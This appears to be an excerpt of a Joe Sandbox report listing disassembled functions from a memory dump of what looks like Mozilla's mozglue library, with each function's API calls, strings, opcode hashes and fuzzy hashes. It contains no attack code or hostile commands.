API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 05005de064831a547376c7b9aa1fad48b7a46f93473802ac7ffeaa75292965f9
Instruction ID: ab996b97badea893eaba6de8e0d50924e7c97fa7344ac8d40f2b1daa6674e183
Opcode Fuzzy Hash: 05005de064831a547376c7b9aa1fad48b7a46f93473802ac7ffeaa75292965f9
Instruction Fuzzy Hash: 48D1DF71A093408FD764CF25C841B9FB7E5AFE5308F14892DE48997B91DB30E949CB92

Function 6C9AC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9AC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9AC842

Part of subcall function 6C9ACAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C9CB5EB,00000000), ref: 6C9ACB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C9AC863
std::_Facet_Register.LIBCPMT ref: 6C9AC875

Part of subcall function 6C98B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C9CB636,?), ref: 6C98B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9AC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AC8BC

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: b4778fe9476e8610c3c7196cac04df22de242c41e3559b0939326dd95945073c
Instruction ID: de425f6e6c87dabd49fb10cc3ef8815e54e3b4c49c74c4dc543ed5eed866ae8f
Opcode Fuzzy Hash: b4778fe9476e8610c3c7196cac04df22de242c41e3559b0939326dd95945073c
Instruction Fuzzy Hash: BB11B675B046099BCB04DFA4C8899AE7BB9FF99354B200529E606AB340DB31E945CB91

Function 6C98D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C95EB57,?,?,?,?,?,?,?,?,?), ref: 6C98D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C95EB57,?), ref: 6C98D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C95EB57,?), ref: 6C98D673
free.MOZGLUE(?), ref: 6C98D888

Strings

|Enabled, xrefs: 6C98D81E

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 33468bac1b7514cb4f5a643a888b86f8c67de4f6b023000ef00606f19ac7c165
Instruction ID: ae2d65971eccd17b55a861f867e3a7f3383b642317c9b2e2e44136f856ecc815
Opcode Fuzzy Hash: 33468bac1b7514cb4f5a643a888b86f8c67de4f6b023000ef00606f19ac7c165
Instruction Fuzzy Hash: E4A136B1A063099FDF00CF69C4907AEBBF5AF59318F58845ED885ABB41C731E845CBA1

Function 6C98F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C98F480

Part of subcall function 6C95F100: LoadLibraryW.KERNEL32(shell32,?,6C9CD020), ref: 6C95F122
Part of subcall function 6C95F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C95F132

CloseHandle.KERNEL32(00000000), ref: 6C98F555

Part of subcall function 6C9614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C961248,6C961248,?), ref: 6C9614C9
Part of subcall function 6C9614B0: memcpy.VCRUNTIME140(?,6C961248,00000000,?,6C961248,?), ref: 6C9614EF

Part of subcall function 6C95EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C95EEE3

CreateFileW.KERNEL32 ref: 6C98F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C98F523

Strings

\oleacc.dll, xrefs: 6C98F4CB

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: d518d01f0ca43661939582b4f88c497fc29ee32d89852733bd1881840c03363d
Instruction ID: 0ac2ddd907ca895738686994e4bbb0b9dbe59f323118e3fff43de7bcabe9210d
Opcode Fuzzy Hash: d518d01f0ca43661939582b4f88c497fc29ee32d89852733bd1881840c03363d
Instruction Fuzzy Hash: AF41A2306097119FE720DF69D884AAAB7F4AF55318F501E1CF59193690EB30E989CB92

Function 6C9B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C9B7526
__Init_thread_footer.LIBCMT ref: 6C9B7566
__Init_thread_footer.LIBCMT ref: 6C9B7597

Strings

kernel32.dll, xrefs: 6C9B7557
UnmapViewOfFile2, xrefs: 6C9B7552

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 23557f1d40be708f6bbc2a2792f37a9c9aaed32311ae154127c9057c78e59403
Instruction ID: 1df685725a88da7efbf8f0a152a9759a783a643af78f7bd8d018545e3b842531
Opcode Fuzzy Hash: 23557f1d40be708f6bbc2a2792f37a9c9aaed32311ae154127c9057c78e59403
Instruction Fuzzy Hash: C5210631705901B7CB148BE88815EDA73B6EB97B29B158629D40177B80CB31FA4585B1

Function 6C9BA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DF770,-00000001,?,6C9CE330,?,6C97BDF7), ref: 6C9BA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C97BDF7), ref: 6C9BA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C97BDF7), ref: 6C9BA7E4
LeaveCriticalSection.KERNEL32(6C9DF770), ref: 6C9BA80A

Strings

accelerator.dll, xrefs: 6C9BA7BF

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: ba91293ecb05d7c24d36abeef0107773f84bab4f44c617514d488f4734f6b4d5
Instruction ID: da276d4acd9729df64fabebca267984064de832ef571fb0321f01453ca5f3ecf
Opcode Fuzzy Hash: ba91293ecb05d7c24d36abeef0107773f84bab4f44c617514d488f4734f6b4d5
Instruction Fuzzy Hash: 38018FB0608604AFDB04DF55D8C5C5277B8FB89B59715806AE809EB741DB70E800CBA1

Function 6C95F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C95EE51,?), ref: 6C95F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C95F0C2

Strings

ole32, xrefs: 6C95F0AD
Could not find CoTaskMemFree, xrefs: 6C95F0E3
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C95F0DC

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 4b75fef05408374ca99fac264195139c11a3a77d7403fc1ba8592179dcadbaf8
Instruction ID: 6819c9be832eed6dc8d85ec8aa52ad2e586d394a04d03ddbb0110f4c2f98bedb
Opcode Fuzzy Hash: 4b75fef05408374ca99fac264195139c11a3a77d7403fc1ba8592179dcadbaf8
Instruction Fuzzy Hash: 79E0D872348B06DBEF049B72980962737BC5B6322D368C429F602F2E40EE21F020C661

Function 6C990080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C967204), ref: 6C990088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C9900A7
FreeLibrary.KERNEL32(?,6C967204), ref: 6C9900BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6C9900A1
wintrust.dll, xrefs: 6C990083

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 55225c4d0e2523e96eecc38002d6bebc24c59a197e5e7a85dcea9ce664e9ddae
Instruction ID: d20e3e39dbff9f72cfa1bae2feb4fb00dd4a293afe26231eb3821f57ad67d7e0
Opcode Fuzzy Hash: 55225c4d0e2523e96eecc38002d6bebc24c59a197e5e7a85dcea9ce664e9ddae
Instruction Fuzzy Hash: BEE09A78648B45ABDF00AF6598097017AF8AB0B749F288465A926E2650DB74F0C0DF62

Function 6C9900D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C967235), ref: 6C9900D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C9900F7
FreeLibrary.KERNEL32(?,6C967235), ref: 6C99010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C9900F1
wintrust.dll, xrefs: 6C9900D3

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: e40693f4fa2832d51e5d9d63547323e5665aebf4246078aeb5eecd231ea008e3
Instruction ID: a18ac8204e8f5146c85344b5b34ff8ae283b667bb3cd655677d721eba4ac65be
Opcode Fuzzy Hash: e40693f4fa2832d51e5d9d63547323e5665aebf4246078aeb5eecd231ea008e3
Instruction Fuzzy Hash: 9DE04F7024DB069BEF005F65C90A7213AFCA707249F349065AA5BB2700DB70F1D0CB62

Function 6C9BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9BC0E9), ref: 6C9BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C9BC437
FreeLibrary.KERNEL32(?,6C9BC0E9), ref: 6C9BC44C

Strings

NtQueryVirtualMemory, xrefs: 6C9BC431
ntdll.dll, xrefs: 6C9BC413

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 75447116e7f84d1ba79c2c520b1632e2762e3c57e17d798dad06c88f4c80e2b4
Instruction ID: 26514dfef8388c21d50cdb00729a29e21d8465bd9fc3025292338e675392cd70
Opcode Fuzzy Hash: 75447116e7f84d1ba79c2c520b1632e2762e3c57e17d798dad06c88f4c80e2b4
Instruction Fuzzy Hash: B2E0B678609B02ABDF00BF71C9197127BF8A74664DF244556AA06B2750EBB0F1C0CBA2

Function 6C9B75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9B748B,?), ref: 6C9B75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C9B75D7
FreeLibrary.KERNEL32(?,6C9B748B,?), ref: 6C9B75EC

Strings

ntdll.dll, xrefs: 6C9B75B3
RtlNtStatusToDosError, xrefs: 6C9B75D1

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: eb2c4b00dbded57a71e5562010aad004f3ad21e1dd7e22e8143ede82e691d04b
Instruction ID: 40df59ded1a13b81030f65468bd256df80f8dbf679591a478ff7ba88c2647446
Opcode Fuzzy Hash: eb2c4b00dbded57a71e5562010aad004f3ad21e1dd7e22e8143ede82e691d04b
Instruction Fuzzy Hash: 10E0BF71608B02BBDF005FE1C9497827AF8E74665DF309525A915F6640DBB0F2C5CF60

Function 6C9B7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9B7592), ref: 6C9B7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C9B7627
FreeLibrary.KERNEL32(?,6C9B7592), ref: 6C9B763C

Strings

NtUnmapViewOfSection, xrefs: 6C9B7621
ntdll.dll, xrefs: 6C9B7603

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: a3c78e7a0c4b1b37242d1c006560e891df1f3268808147cad3daf989c851b670
Instruction ID: 08fa2da5de14ba76223e689c1432a0da4e80ddd1b354ecd020877e9e2c025a77
Opcode Fuzzy Hash: a3c78e7a0c4b1b37242d1c006560e891df1f3268808147cad3daf989c851b670
Instruction Fuzzy Hash: EEE0BF70609F42ABDF005FE5D8097467AB8E75679DF208519E905F2740EB70F0848F65

Function 6C9BBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C9BBE49), ref: 6C9BBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C9BBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C9BBE49), ref: 6C9BBF38
RtlReAllocateHeap.NTDLL ref: 6C9BBF83
RtlFreeHeap.NTDLL ref: 6C9BBFA6

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: fac1ea168fb539be759c728daa2a1a4bc70a7676fafcdf65d9227617447c575e
Instruction ID: d2fb92434c0f73e8a4868eef144d7f2d3d94a70513ed11d55859f9e572d3dbfc
Opcode Fuzzy Hash: fac1ea168fb539be759c728daa2a1a4bc70a7676fafcdf65d9227617447c575e
Instruction Fuzzy Hash: CA51AC71A002029FE710DF69CCC0BABB7B6FF98314F284629D515A7B94D730F9168B81

Function 6C9A8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?,6C9CD734), ref: 6C9A8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?,6C9CD734), ref: 6C9A8EBF
free.MOZGLUE(?,?,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?), ref: 6C9A8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?,6C9CD734), ref: 6C9A8F46
free.MOZGLUE(?,?,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?), ref: 6C9A8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?), ref: 6C9A8F8F

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: e8af636b1f715f565ab26f8f3cd5aca5fcbabb8113d16e624d1802aa8c90361c
Instruction ID: e012b4b48f6f09e852f1ae7b25b2bc6b4bff92b210284a541196042c4a149aac
Opcode Fuzzy Hash: e8af636b1f715f565ab26f8f3cd5aca5fcbabb8113d16e624d1802aa8c90361c
Instruction Fuzzy Hash: D351C2B1A012568FEB18CF94D88076EB7B6FF48308F25052AD916AB740E731F916CBD5

Function 6C9660E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9660F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C966180
free.MOZGLUE(?,?,?,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C966211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C966229
free.MOZGLUE(?,?,?,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C96625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C965FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C966271

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 832bf1bbfc584e310abbd1fb11c1dee486a33933e62c530667f339d1a8a11485
Instruction ID: 277197432b3d2e20d07a38f459979d41e6299bfee315dc1d55d38f0b1b2d5919
Opcode Fuzzy Hash: 832bf1bbfc584e310abbd1fb11c1dee486a33933e62c530667f339d1a8a11485
Instruction Fuzzy Hash: 48518AB1A042068FFB14CFA9D8807AEB7B5EF45308F210539C616E7B91E731EA58CB51

Function 6C9A27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A289A
free.MOZGLUE(?,?,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A2910
free.MOZGLUE(00000001,?,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C9A2620,?,?,?,6C9960AA,6C995FCB,6C9979A3), ref: 6C9A294E

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8dc565d372aa64bcd6f66d2e12182e9c5d3c42fea9bb05fb19ae70bb24775fb6
Instruction ID: 3b03178faf194123a2c98558c508a7d653ffab896ad1c099d497d1e6d20be9f3
Opcode Fuzzy Hash: 8dc565d372aa64bcd6f66d2e12182e9c5d3c42fea9bb05fb19ae70bb24775fb6
Instruction Fuzzy Hash: 494115B1A04A068FEB14CFA9D98436A73F5EF85708F240539D95AEB740E731E905CB51

Function 6C95CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C95CFF6
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C95D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C95D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C95D139

Strings

MOZ_CRASH(), xrefs: 6C95D187

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

